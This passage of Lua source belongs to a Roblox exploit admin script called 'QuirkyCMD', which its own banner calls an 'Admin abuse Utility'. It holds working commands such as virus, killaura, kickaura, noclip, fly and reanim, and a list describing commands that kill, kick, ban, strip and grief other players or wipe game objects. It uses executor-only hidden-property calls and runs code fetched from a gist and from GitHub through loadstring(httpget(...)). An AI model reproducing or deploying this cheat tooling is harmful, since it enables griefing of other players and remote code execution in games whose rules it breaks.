if not hrp then continue end
for i,v in pairs(players:GetPlayers()) do
if table.find(infected,v) then continue end
local tchar = v.Character
if not tchar then continue end
local thum = tchar:FindFirstChild("Humanoid")
local thrp = thum and thum.RootPart or tchar:FindFirstChild("HumanoidRootPart")
if not thrp then continue end
if (thrp.Position - hrp.Position).Magnitude >= 5 then continue end
table.insert(infected, v)
task.spawn(infectPlayer,v)
end
end
end))
addCommand("virus",function(plrs, input)
local speedInp = input:split(" ")[2]
local speed = speedInp and tonumber(speedInp) or 0
infectSpeed = speed
for i,v in pairs(plrs) do
table.insert(infected,v)
task.spawn(infectPlayer,v)
end
end, {"infect"}, 1)
addCommand("unvirus", function(plrs)
for i,v in pairs(plrs) do
local index = table.find(infected,v)
if index then table.remove(infected,index) end
end
end, {"uninfect", "cure"}, 1)
table.insert(genv.connections, rs.Heartbeat:Connect(function()
for name, range in pairs(killauras) do
local plr = players:FindFirstChild(name)
if not plr then killauras[name] = nil continue end
local char = plr.Character
if not char then continue end
local pos = char:GetPivot().Position
for i,v in pairs(players:GetPlayers()) do
if v == plr then continue end
local tchar = v.Character
if not tchar then continue end
local tpos = tchar:GetPivot().Position
local distance = (pos - tpos).Magnitude
if distance > range then continue end
local hum = tchar:FindFirstChild("Humanoid")
if hum and hum.Health <= 0 then continue end
runCommand("kill",{v})
end
end
end))
addCommand("killaura",function(plrs, input)
local plrs = (#plrs > 0 and plrs) or ({localPlayer})
local split = input:split(" ")
local range = tonumber(split[#split]) or 10
for i,v in pairs(plrs) do
killauras[v.Name] = range
end
end, {"aura"}, 1)
addCommand("unkillaura",function(plrs)
for i,v in pairs(plrs) do
killauras[v.Name] = nil
end
end, {"unaura"}, 1)
table.insert(genv.connections, rs.Heartbeat:Connect(function()
for name, range in pairs(kickauras) do
local plr = players:FindFirstChild(name)
if not plr then kickauras[name] = nil continue end
local char = plr.Character
if not char then continue end
local pos = char:GetPivot().Position
for i,v in pairs(players:GetPlayers()) do
if v == nil or v == plr then continue end
local tchar = v.Character
if not tchar then continue end
local tpos = tchar:GetPivot().Position
local distance = (pos - tpos).Magnitude
if distance > range then continue end
delete(v)
end
end
end))
addCommand("kickaura",function(plrs, input)
local plrs = (#plrs > 0 and plrs) or ({localPlayer})
local split = input:split(" ")
local range = tonumber(split[#split]) or 3
for i,v in pairs(plrs) do
kickauras[v.Name] = range
end
end, {}, 2)
addCommand("unkickaura",function(plrs)
for i,v in pairs(plrs) do
kickauras[v.Name] = nil
end
end, {}, 2)
addCommand("close", abort, {}, 3)
local flyLoop
addCommand("fly",function() -- original made by apeyton
local hum = character:FindFirstChildOfClass("Humanoid")
if not hum then return end
local hrp = character:FindFirstChild("HumanoidRootPart")
if not hrp then return end
hum.PlatformStand = true
hrp.Anchored = true
if flyLoop then flyLoop:Disconnect() end
flyLoop = rs.Heartbeat:Connect(function(deltaTime)
local moveDir = hum.MoveDirection * (flySpeed * deltaTime)
local hrpCF = hrp.CFrame
local cameraCF = camera.CFrame
local cameraOffset = hrpCF:ToObjectSpace(cameraCF).Position + hum.CameraOffset
cameraCF = cameraCF * CFrame.new(-cameraOffset.X, -cameraOffset.Y, -cameraOffset.Z + 1)
local cameraPos = cameraCF.Position
local hrpPos = hrpCF.Position
local objectSpaceVelocity = CFrame.new(cameraPos, Vector3.new(hrpPos.X, cameraPos.Y, hrpPos.Z)):VectorToObjectSpace(moveDir)
hrp.CFrame = CFrame.new(hrpPos) * (cameraCF - cameraPos) * CFrame.new(objectSpaceVelocity)
end)
end, {}, 3)
addCommand("unfly",function()
if not flyLoop then return end
flyLoop:Disconnect()
local hum = character:FindFirstChildOfClass("Humanoid")
if hum then hum.PlatformStand = false end
local hrp = character:FindFirstChild("HumanoidRootPart")
if hrp then hrp.Anchored = false end
end, {}, 3)
addCommand("flyspeed",function(plrs, input)
flySpeed = tonumber(input) or 50
end, {}, 3)
addCommand("walkspeed", function(plrs, input)
local speed = tonumber(input) or 16
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then return end
humanoid.WalkSpeed = speed
end, {"speed", "ws"}, 3)
addCommand("jumppower", function(plrs, input)
local jp = tonumber(input) or 50
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then return end
humanoid.JumpPower = jp
end, {"jp"}, 3)
local noclipLoop
addCommand("noclip", function()
if noclipLoop then noclipLoop:Disconnect() end
noclipLoop = rs.Stepped:Connect(function()
for i,v in pairs(character:GetDescendants()) do
if not (v:IsA("BasePart") and v.CanCollide) then continue end
v.CanCollide = false
end
end)
end, {"nc"}, 3)
addCommand("clip",function()
if noclipLoop then noclipLoop:Disconnect() end
end, {"c"}, 3)
-- credits to hydroprocessed for the original hat orbit script <3
addCommand("hatorbit",function()
-- .offset (how close the hats are to you)
-- .mode 1-11 (different modes up to 11)
-- .speed (how fast the hats move)
-- .angular x y z (how fast the hats rotate)
local char = character
local hum = char:FindFirstChild("Humanoid")
if not hum then return end
local hats = {}
local mov = {}
local mov2 = {}
local function breakJoints(model)
for i,v in pairs(model:GetDescendants()) do
if not v:IsA("JointInstance") then continue end
delete(v)
end
end
local function ftp(str)
local pt = {}
if str ~= "me" and str ~= "random" then
for i, v in pairs(players:GetPlayers()) do
if v.Name:lower():find(str:lower()) then
table.insert(pt, v)
end
end
elseif str == "me" then
table.insert(pt, localPlayer)
elseif str == "random" then
table.insert(pt, players:GetPlayers()[math.random(1, #players:GetPlayers())])
end
return pt
end
for i,v in pairs(hum:GetAccessories()) do
local handle = v:FindFirstChild("Handle")
if not handle then continue end
table.insert(hats,v)
end
for _, v in pairs(hats) do
local handle = v.Handle
handle.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
handle.CanCollide = false
breakJoints(handle)
repeat task.wait() until handle:FindFirstChildOfClass("Weld") == nil
local still = Instance.new("BodyAngularVelocity", handle)
still.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
still.AngularVelocity = Vector3.new(0, 0, 0)
local align = Instance.new("AlignPosition", handle)
align.MaxForce = 1000000
align.MaxVelocity = math.huge
align.RigidityEnabled = false
align.ApplyAtCenterOfMass = true
align.Responsiveness = 200
local a0 = Instance.new("Attachment", handle)
local a1 = Instance.new("Attachment", char.Head)
align.Attachment0 = a0
align.Attachment1 = a1
table.insert(mov, a1)
table.insert(mov2, still)
end
local velocityCon = rs.Heartbeat:connect(function()
for i,v in pairs(hats) do
local handle = v:FindFirstChild("Handle")
if not handle then continue end
handle.Velocity = Vector3.new(0,30,0)
end
end)
table.insert(genv.connections, velocityCon)
local par = {}
local partsFolder = Instance.new("Folder", char)
partsFolder.Name = "wacky parts folder"
for _, v in pairs(mov) do
local part = Instance.new("Part", partsFolder)
part.Anchored = true
part.Size = Vector3.new(1, 1, 1)
part.Transparency = 1
part.CanCollide = false
table.insert(par, part)
end
local rotx = 0
local rotz = math.pi / 2
local height = 0
local heighti = 1
local offset = 10
local speed = 0.5
local mode = 4
local angular = Vector3.new(0, 0, 0)
local l = 1
local alignCon = rs.RenderStepped:Connect(function()
rotx = rotx + speed / 100
rotz = rotz + speed / 100
l = (l >= 360 and 1 or l + speed)
for i, v in pairs(par) do
v.CFrame = CFrame.new(char.HumanoidRootPart.Position) * CFrame.fromEulerAnglesXYZ(0, math.rad(l + (360 / #par) * i + speed), 0) * CFrame.new(offset, 0, 0)
end
if heighti == 1 then
height = height + speed / 100
elseif heighti == 2 then
height = height - speed / 100
end
if height > 2 then
heighti = 2
end
if height < -1 then
heighti = 1
end
if mode == 1 then
for _, v in pairs(mov) do
v.Position = Vector3.new(math.sin(rotx) * offset, 0, math.sin(rotz) * offset)
end
elseif mode == 2 then
for _, v in pairs(mov) do
v.Position = Vector3.new(offset, height, offset)
end
elseif mode == 3 then
for _, v in pairs(mov) do
v.Position = Vector3.new(math.sin(rotx) * offset, height, math.sin(rotz) * offset)
end
elseif mode == 4 then
for i, v in pairs(mov) do
v.Position = Vector3.new(char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).X, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Y, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Z)
end
elseif mode == 5 then
for i, v in pairs(mov) do
v.Position = Vector3.new((math.sin(rotx)) * offset, height, (math.cos(rotz) - i) * offset)
end
elseif mode == 6 then
for i, v in pairs(mov) do
v.Position = Vector3.new((math.sin(rotx)) * offset, height, (math.tan(rotz) - i) * offset)
end
elseif mode == 7 then
for i, v in pairs(mov) do
v.Position = Vector3.new(math.cos(rotx * i) * offset, 0, math.cos(rotz * i) * offset)
end
elseif mode == 8 then
for i, v in pairs(mov) do
v.Position = Vector3.new(math.sin(rotx) * i * offset, 0, math.sin(rotz) * i * offset)
end
elseif mode == 9 then
pcall(function()
local so = nil
for k, b in pairs(char:GetChildren()) do
if not b:IsA"Tool" then
for h, j in pairs(b:GetDescendants()) do
if j:IsA"Sound" then
so = j
end
end
end
end
if so ~= nil then
offset = so.PlaybackLoudness / 35
speed = so.PlaybackLoudness / 500
angular = Vector3.new(0, so.PlaybackLoudness / 75, 0)
end
end)
for i, v in pairs(mov) do
v.Position = Vector3.new(char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).X, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Y, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Z)
end
elseif mode == 10 then
offset = height * 15
for i, v in pairs(mov) do
v.Position = Vector3.new(char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).X, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Y, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Z)
end
elseif mode == 11 then
for i, v in pairs(mov) do
v.Position = Vector3.new(char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(localPlayer:GetMouse().Hit.p)).X, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(localPlayer:GetMouse().Hit.p)).Y, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(localPlayer:GetMouse().Hit.p)).Z) + Vector3.new(char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).X, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Y, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Z)
end
end
for _, v in pairs(mov2) do
v.AngularVelocity = angular
end
end)
local chatCon
local function onChat(data)
local c = modernChat and data.Text or data
local plr = modernChat and players:GetPlayerByUserId(data.TextSource.UserId) or localPlayer
if plr ~= localPlayer then return end
if c:split(" ")[1] == ".orbit" then
for _, v in pairs(mov) do
char = ftp(c:split(" ")[2])[1].Character
v.Parent = ftp(c:split(" ")[2])[1].Character.HumanoidRootPart
end
end
if c:split(" ")[1] == ".speed" then
speed = tonumber(c:split(" ")[2])
end
if c:split(" ")[1] == ".mode" then
mode = tonumber(c:split(" ")[2])
end
if c:split(" ")[1] == ".offset" then
offset = tonumber(c:split(" ")[2])
end
if c:split(" ")[1] == ".angular" then
angular = Vector3.new(tonumber(c:split(" ")[2]), tonumber(c:split(" ")[3]), tonumber(c:split(" ")[4]))
end
end
if modernChat then
game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = function(data)
task.spawn(onChat,data)
handleChat(data)
end
else
chatCon = localPlayer.Chatted:Connect(onChat)
table.insert(genv.connections, chatCon)
end
local diedCon = hum.Died:Connect(function()
alignCon:Disconnect()
velocityCon:Disconnect()
if not modernChat then
chatCon:Disconnect()
else
game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = function(data)
handleChat(data)
end
end
end)
table.insert(genv.connections, diedCon)
end, {}, 3)
-- credits to @xyzkade and @deuces1961 for Kade's reanim as a base
local function loadReanim()
local char = localPlayer.Character or localPlayer.CharacterAdded:Wait()
local hum = char:WaitForChild("Humanoid")
local simRadius = gethiddenproperty and gethiddenproperty(localPlayer,"SimulationRadius")
local requiredRadius = 20
local isR15 = hum.RigType == Enum.HumanoidRigType.R15
local forcefield = char:FindFirstChildOfClass("ForceField")
local fakeHum = hum:Clone()
local hrp = char:WaitForChild("HumanoidRootPart")
local hrpCF = hrp.CFrame
local stopAlign = false
local stopAntiVoid = false
local limbs = {}
local hatHandles = {}
local reanimConnections = {}
runCommand("clip")
if simRadius and simRadius < requiredRadius then
repeat
notify("Please wait",`Waiting for bigger SimulationRadius ({tostring(math.floor(simRadius))}/{tostring(requiredRadius)})`, 2)
task.wait(2)
until gethiddenproperty(localPlayer,"SimulationRadius") >= requiredRadius
if localPlayer.Character == nil or localPlayer.Character ~= char or hum.Parent == nil or hum.Health <= 0 then return end
end
if forcefield then forcefield:Destroy() end
char.Archivable = true
local rig = (not isR15) and char:Clone()
if isR15 then
local canGetObjects, loadedRig = pcall(function() return game:GetObjects("rbxassetid://18418211383")[1] end)
local r6Rig = isTesting and rStorage:WaitForChild("R6Rig") or canGetObjects and loadedRig or loadstring(httpget("https://gist.githubusercontent.com/someunknowndude/ad264038a91f7fa11bec2f67dad3feaf/raw"))()
local humDesc = players:GetCharacterAppearanceAsync(localPlayer.UserId)
local r6Head = r6Rig.Head
local r15Head = char.Head
local surfaceAppearance = r15Head:FindFirstChildOfClass("SurfaceAppearance")
local face = r15Head:FindFirstChild("face")
if surfaceAppearance then
surfaceAppearance:Clone().Parent = r6Head
else
--if face then r6Head.face.Texture = face.Texture end
--r6Head.face.Transparency = 0
end
for i,v in pairs(r15Head:GetChildren()) do
if not v:IsA("Attachment") then continue end
v:Clone().Parent = r6Head
end
for i,v in pairs(humDesc:GetDescendants()) do
if v:IsA("BodyColors") or v:IsA("CharacterMesh") or v:IsA("ShirtGraphic") then
v.Parent = r6Rig
continue
end
if v:IsA("Accessory") or v:IsA("Hat") then
r6Rig:WaitForChild("Humanoid"):AddAccessory(v)
end
end
rig = r6Rig
else
local mesh = char.Head:FindFirstChildOfClass("SpecialMesh")
local face = char.Head:FindFirstChild("face")
if mesh and face then
delete(face)
end
end
local rigHRP = rig:WaitForChild("HumanoidRootPart")
local rigHum = rig:FindFirstChild("Humanoid")
rig.Name = "wacky reanim rig"
for i,v in pairs(char:GetChildren()) do
if not v:IsA("BasePart") then continue end
table.insert(limbs, {v,rig[v.Name]})
end
local accessories = hum:GetAccessories()
local rigAccessories = rigHum:GetAccessories()
for i,v in pairs(accessories) do
if not isR15 then
table.insert(hatHandles,{v.Handle,rigAccessories[i].Handle})
continue
end
for _,rigAcc in pairs(rigAccessories) do
local handle = rigAcc.Handle
local mesh = handle:FindFirstChildOfClass("SpecialMesh") or handle
local texture = handle == mesh and mesh.TextureID or mesh.TextureId
if not (rigAcc.Name == v.Name and mesh.MeshId == v.Handle.MeshId and texture == v.Handle.TextureID) then continue end
table.insert(hatHandles,{v.Handle,rigAcc.Handle})
continue
end
end
local clock = os and os.clock or tick
local cos = math.cos
local sin = math.sin
local cfNew = CFrame.new
local cfZero = CFrame.identity
local v3New = Vector3.new
local v3Zero = Vector3.zero
local changedMaxSimRad = pcall(sethiddenproperty, localPlayer, "MaximumSimulationRadius", 1000)
local changedSimRad = pcall(sethiddenproperty, localPlayer, "SimulationRadius", 1000)
local netlessCF = cfZero
local sineValue = 0
local function align(part0, part1, offset)
if stopAlign then return end
if part0 and part0.Parent and part1 and part1.Parent then
local part0_mass = part1.Mass * 5
part0.AssemblyLinearVelocity = v3New(part1.AssemblyLinearVelocity.X * part0_mass, sineValue, part1.AssemblyLinearVelocity.Z * part0_mass)
part0.AssemblyAngularVelocity = part1.AssemblyAngularVelocity
if isnetworkowner(part0) then
part0.CFrame = part1.CFrame * offset
end
end
end
local function setCamera(model)
local oldCamCF = camera.CFrame
camera.CameraSubject = model.Humanoid
camera:GetPropertyChangedSignal("CFrame"):Once(function()
camera.CFrame = oldCamCF
end)
end
local function disableCollisions(model,canTouchAndCast)
for _, part in next, model:GetDescendants() do
if part and part:IsA("BasePart") then
part.CanCollide = false
part.CanQuery = canTouchAndCast
part.CanTouch = canTouchAndCast
end
end
end
local function makeTransparent(model)
for i,v in pairs(model:GetDescendants()) do
if not (v:IsA("BasePart") or v:IsA("Decal")) then continue end
v.Transparency = 1
end
end
local function breakJoints(model)
for i,v in pairs(model:GetDescendants()) do
if not v:IsA("JointInstance") then continue end
delete(v)
end
end
local function removeScripts(model)
for i,v in pairs(model:GetChildren()) do
if not (v:IsA("Script") or v:IsA("LocalScript") or v:IsA("ModuleScript") or v.Name == "Animate") then continue end
delete(v)
end
end
local function removeTouchTriggers(model)
for i,v in pairs(model:GetDescendants()) do
if not v:IsA("TouchTransmitter") then continue end
delete(v)
end
end
local function onPostSim()
for _, data in next, limbs do
align(data[1], data[2],netlessCF)
end
for _, data in next, hatHandles do
align(data[1], data[2], netlessCF)
end
end
local function onPreSim()
netlessCF = cfNew(0.01 * sin(clock()*16), 0, 0.01 * math.cos(clock()*16))
sineValue = 40 - 3 * sin(clock()*10)
if stopAntiVoid or rigHRP.Position.Y > (workspace.FallenPartsDestroyHeight + 50) then return end
rigHRP.CFrame = hrpCF
rigHRP.AssemblyLinearVelocity = v3Zero
rigHRP.AssemblyAngularVelocity = v3Zero
end
rigHRP.CFrame = hrpCF
rig.Parent = workspace
localPlayer.Character = rig
setCamera(rig)
rig.Animate.Enabled = false
rig.Animate.Enabled = true
hum:ChangeState(Enum.HumanoidStateType.Physics)
repeat task.wait() until limbs[3][1].CanCollide
task.wait(0.05)
delete(hum)
repeat task.wait() until hum.Parent == nil
task.wait()
fakeHum.Parent = char
task.wait()
table.insert(reanimConnections, rs.PreSimulation:Connect(onPreSim))
table.insert(reanimConnections, rs.PostSimulation:Connect(onPostSim))
table.insert(reanimConnections, rs.Stepped:Connect(function()
disableCollisions(char,false)
disableCollisions(rig,true)
end))
breakJoints(char)
makeTransparent(char)
removeScripts(char)
removeTouchTriggers(char)
genv.LoadLibrary = function(lib) return loadstring(httpget("https://raw.githubusercontent.com/Roblox/Core-Scripts/master/CoreScriptsRoot/Libraries/" .. lib .. ".lua"))() end
local reset = Instance.new("BindableEvent")
reset.Event:Connect(function()
if stopAlign then
local hum = character:FindFirstChildOfClass("Humanoid")
if not hum then return character:BreakJoints() end
hum.Health = 0
return
end
notify("Resetting", "Please wait ~6 seconds", 6)
stopAntiVoid = true
rigHRP.Anchored = true
rigHRP.CFrame = CFrame.new(0,workspace.FallenPartsDestroyHeight + 5,0)
task.wait(0.5)
stopAlign = true
rigHum:ChangeState(Enum.HumanoidStateType.Dead)
localPlayer.CharacterAdded:Wait()
rig:Destroy()
for i,v in pairs(reanimConnections) do
v:Disconnect()
end
end)
sgui:SetCore("ResetButtonCallback", reset)
notify("Success!", "reanim loaded!")
end
addCommand("reanim",function()
task.spawn(loadReanim)
end, {"reanimate"}, 3)
--[[Add scrolling command list]]--
local scrollText = "QuirkyCMD made by Cynatica | the best Admin abuse Utility! | "
if not isMobile then
scrollText ..= "press ; to open/hide the Ui | "
end
local charCount = 12
local spaces = 0
local scrollSpeed = 0.12 -- sec/char
local sample = scrollText..string.rep(" ", spaces)
local displayString = sample:sub(1, charCount)
local strlen = string.len(sample)
local counter = 1
local timer = 0
for i,v in pairs(scrollText:split("")) do
if v ~= " " then continue end
spaces += 1
end
table.insert(genv.connections, rs.Heartbeat:Connect(function(dt)
timer += dt
if timer > scrollSpeed then
while timer > scrollSpeed do
timer -= scrollSpeed
counter = (counter + 1)%strlen
end
if counter + charCount <= strlen then
displayString = sample:sub(counter, counter + charCount)
else
displayString = sample:sub(counter, strlen)..sample:sub(1, counter + charCount - strlen)
end
end
box.PlaceholderText = (("%s"):format(displayString))
end))
--[[Sort commands alphabetically]]--
table.sort(commands, function(a,b)
return a.name < b.name
end)
--[[Command list with every description.]]--
local cmdData = {
["admin"] = "Grants or removes admin permissions",
["aliases"] = "Prints all command aliases.",
["bald"] = "Removes all accessories from the character, making them bald.",
["ban"] = "Bans players by their UserId and deletes them from the server.",
["bang"] = "Plays a 'bang' animation and attaches to the target player.",
["baseplate"] = "Deletes everything in the workspace except large or nearby baseplates.",
["bighats"] = "Enlarges R15 hats by deleting scale values and original sizes.",
["blockhats"] = "Removes hat meshes for R6 characters.",
["blockhead"] = "Removes head mesh for R6 characters.",
["blocktools"] = "Removes any meshes from tool handles, cleaning up their visuals.",
["bring"] = "Teleports another player to you using tool teleportation. Teleports another player to you using tool teleportation.",
["btools"] = "Manipulates tools (give/remove)",
["clearbans"] = "Clears the ban list.",
["cleargui"] = "Removes all GUI elements from the screen (from sgui).",
["clearlighting"] = "Deletes all Lighting service children.",
["clearstarter"] = "Clears StarterGui, StarterPack, and StarterPlayer scripts except for whitelisted items.",
["clearstorage"] = "Deletes all objects in ReplicatedStorage except the exploit remote and chat folders.",
["clearws"] = "Clears the workspace of all non-player items.",
["clickdelete"] = "Enables click-to-delete mode by targeting with your mouse.",
["clip"] = "Disables noclip mode, restoring normal collision.",
["cmds"] = "Shows the command UI",
["control"] = "Takes control of another player's character using tool-based hijacking.",
["deletename"] = "Deletes any object in the game whose name matches the given text.",
["droptools"] = "Deletes player's tool when they equip it, simulating a drop and break.",
["explorer"] = "Opens a dark-themed Dex Explorer GUI.",
["fakechat"] = "Makes your character appear like it's chatting and automatically follows another player.",
["fling"] = "Flings a player using physics-based forces by touching their character.",
["fly"] = "Enables flight mode by manipulating the character’s root part position.",
["flyspeed"] = "Sets the speed multiplier for flight movement.",
["freeze"] = "Stops all character movement by anchoring and platform-standing the humanoid.",
["givetools"] = "Teleports your tools into the target player’s position to force equip.",
["goto"] = "Teleports you to the target player's position.",
["grabtools"] = "Pulls all tools in the workspace to your character.",
["gun"] = "Manipulates tools (give/remove)",
["hatorbit"] = "Makes your hats orbit around your character using physics alignment.",
["invisible"] = "Makes the character invisible using transparency tricks or HRP deletion.",
["jumppower"] = "Sets the jump power of your humanoid.",
["kick"] = "Deletes the player from the game (client-side).",
["kickaura"] = "Automatically kicks players who get too close (within a specified range).",
["kill"] = "Deletes the Neck joint, killing the player.",
["killaura"] = "Auto-kills nearby players in a loop based on a range.",
["korblox"] = "Deletes the character’s right leg to simulate the Korblox avatar.",
["legwalk"] = "Deletes upper arms, waist joint, and accessories to make a leg-only walking rig.",
["lockws"] = "Prevents new non-player objects from being added to the workspace by deleting them as they appear.",
["loopkill"] = "Repeatedly executes the kill command on target players every frame.",
["mute"] = "Deletes TextChatService text channels of players to mute them. Does not work in legacy chat.",
["naked"] = "Removes Pants, Shirt, and Shirt Graphic along with WrapLayer elements, making the character visually naked.",
["noanims"] = "Deletes the Animator and Animate script from a player to completely stop all animations.",
["noarms"] = "Deletes all arm parts from a character (any limb with 'arm' in its name).",
["nochat"] = "Deletes chat UIs or channels, disabling chat.",
["noclip"] = "Disables collisions on all character parts, allowing walking through objects.",
["noface"] = "Deletes all face decals from the player’s head.",
["nolegs"] = "Deletes legs and feet from a character.",
["nolimbs"] = "Deletes all arm and leg parts.",
["noseats"] = "Deletes all Seats and VehicleSeats in the workspace.",
["nosounds"] = "Deletes all Sound objects across the entire game.",
["nospawns"] = "Deletes all SpawnLocation instances.",
["nostats"] = "Deletes the leaderstats folder from a player.",
["noteams"] = "Deletes all Teams in the game.",
["notextures"] = "Deletes all Decals and Textures in the workspace.",
["notools"] = "Manipulates tools (give/remove)",
["nuke"] = "Deletes all workspace objects and players (except local player).",
["owner"] = "Promotes a player to privilege level 2 (Owner).",
["punch"] = "Gives the player a punch tool that can kill others on contact.",
["punish"] = "Deletes the entire character of the target player.",
["ragdoll"] = "Deletes HumanoidRootPart from a player, causing a ragdoll effect.",
["ranks"] = "Prints a list of all admins and owners.",
["reanim"] = "Starts a reanimation routine (not fully implemented in visible script).",
["rejoin"] = "Teleports the player (rejoin or server hop)",
["rescale"] = "Deletes avatar scaling values (HeightScale, WidthScale, etc.).",
["reset"] = "Moves character parts to kill the player and trigger a respawn.",
["serverlock"] = "Prevents players from joining the server by deleting them on join.",
["setbind"] = "Sets the keybinding to toggle the command bar.",
["setprefix"] = "Changes the prefix used to enter commands.",
["shutdown"] = "Deletes all players (including local) to force a shutdown.",
["silentkill"] = "Same as kill, but also deletes the character afterward.",
["sink"] = "Deletes the humanoid from players, disabling movement.",
["skydive"] = "Teleports a player high into the air and lets them fall.",
["stealtools"] = "Steals tools from another player’s character after killing them.",
["stripidentity"] = "Executes naked, bald, and noface on a target.",
["torsofling"] = "Uses the torso to fling people by adding velocity.",
["unadmin"] = "Grants or removes admin permissions",
["unban"] = "Removes players from the ban list.",
["unbang"] = "Stops the bang animation.",
["unclickdelete"] = "Disables the click-to-delete mode.",
["unfly"] = "Disables fly mode and restores default movement.",
["unkickaura"] = "Disables automatic kicking of nearby players.",
["unkillaura"] = "Disables automatic killing of nearby players.",
["unlockws"] = "Stops workspace anti-creation protection (lockws).",
["unloopkill"] = "Removes players from the loopkill list.",
["unowner"] = "Removes a player's owner privileges.",
["unserverlock"] = "Disables the server lock.",
["unsit"] = "Forces players to stand by deleting seat welds.",
["untorsofling"] = "Disables torso fling mode.",
["unview"] = "Resets the camera from spectating another player.",
["unvirus"] = "Cancels the effects of virus.",
["unweldws"] = "Deletes all Welds, Attachments, and Motor6Ds from workspace parts.",
["view"] = "Changes your camera to follow the target player.",
["virus"] = "Infects players or the workspace with destructive behavior.",
["walkspeed"] = "Sets your walk speed.",
["wither"] = "Slowly deletes limbs from players over time.",
["witherws"] = "Slowly deletes workspace parts over time.",
["close"] = "Safely shuts down QuirkyCMD by destroying the UI and disconnecting all events.",
}
--[[right scaling and creation of the command list with its description.]]--
for _, v in ipairs(commands) do
local level = v.securityLevel
local name = v.name
local clone = cmdTemplate:Clone()
local desc = cmdData[name:lower()] or "No description available"
clone.Text = name .. ` ({rankNames[level]}) - ` .. desc
clone.Font = Enum.Font.Gotham
clone.TextSize = 13
clone.TextColor3 = Color3.new(1, 1, 1)
clone.TextWrapped = true
clone.TextScaled = false
clone.TextXAlignment = Enum.TextXAlignment.Left
clone.TextYAlignment = Enum.TextYAlignment.Top
clone.LineHeight = 1.1
clone.Size = UDim2.new(1, 0, 0, 40)
clone.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
clone.BorderSizePixel = 0
clone.Visible = true
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 6)
corner.Parent = clone
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 5)
padding.PaddingBottom = UDim.new(0, 5)
padding.PaddingLeft = UDim.new(0, 10)
padding.PaddingRight = UDim.new(0, 10)
padding.Parent = clone
clone.Parent = cmdsList
end
closeButton.MouseButton1Click:Connect(function()
cmdsFrame.Visible = false
end)
--[[Add drag functionality]]--
local dragging
local dragInput
local dragStart
local startPos
local lastMousePos
local lastGoalPos
local dragSpeed = 20
local function update(dt)
if not (startPos) then return end
if not (dragging) and (lastGoalPos) then
cmdsFrame.Position = UDim2.new(startPos.X.Scale, lerp(cmdsFrame.Position.X.Offset, lastGoalPos.X.Offset, dt * dragSpeed), startPos.Y.Scale, lerp(cmdsFrame.Position.Y.Offset, lastGoalPos.Y.Offset, dt * dragSpeed))
return
end
local delta = (lastMousePos - uis:GetMouseLocation())
local xGoal = (startPos.X.Offset - delta.X)
local yGoal = (startPos.Y.Offset - delta.Y)
lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
cmdsFrame.Position = UDim2.new(startPos.X.Scale, lerp(cmdsFrame.Position.X.Offset, xGoal, dt * dragSpeed), startPos.Y.Scale, lerp(cmdsFrame.Position.Y.Offset, yGoal, dt * dragSpeed))
end
cmdsFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = cmdsFrame.Position
lastMousePos = uis:GetMouseLocation()
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
cmdsFrame.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
table.insert(genv.connections,rs.Heartbeat:Connect(update))
--[[send to game logger]]--
if not inDatabase then
local function promptCallback(answer)
if answer == "No" then return end
local sg = localPlayer:FindFirstChildOfClass("StarterGear")
if sg then
delete(sg)
task.wait(checkTime + mobileOffset)
end
if (sg and sg.Parent == localPlayer) or (isTesting == false and game:GetService("GuiService"):GetErrorCode() ~= Enum.ConnectionError.OK) then return notify("Logger error", "Game could not be logged.", 10) end
sendGame()
debugPrint("game sent to server")
end
local bindable = Instance.new("BindableFunction")
bindable.OnInvoke = promptCallback
sgui:SetCore("SendNotification", {
Title = "QuirkyCMD";
Text = "would you like to log this game? (PLEASE TEST COMMANDS BEFORE CLICKING YES)",
Duration = 300,
Button1 = "Yes",
Button2 = "No",
Icon = "rbxassetid://73191850208831",
Callback = bindable
})
end
debugPrint("QuirkyCMD loaded successfully!")
end)
end;
task.spawn(C_38);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_3a()
local script = G2L["3a"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame1.Visible = false
script.Parent.Parent.Parent.Frame3.Visible = true
script.Parent.Parent.Parent.Frame3.Position = script.Parent.Parent.Parent.Frame1.Position
end)
end;
task.spawn(C_3a);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_3c()
local script = G2L["3c"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame2.Visible = true
end)
end;
task.spawn(C_3c);
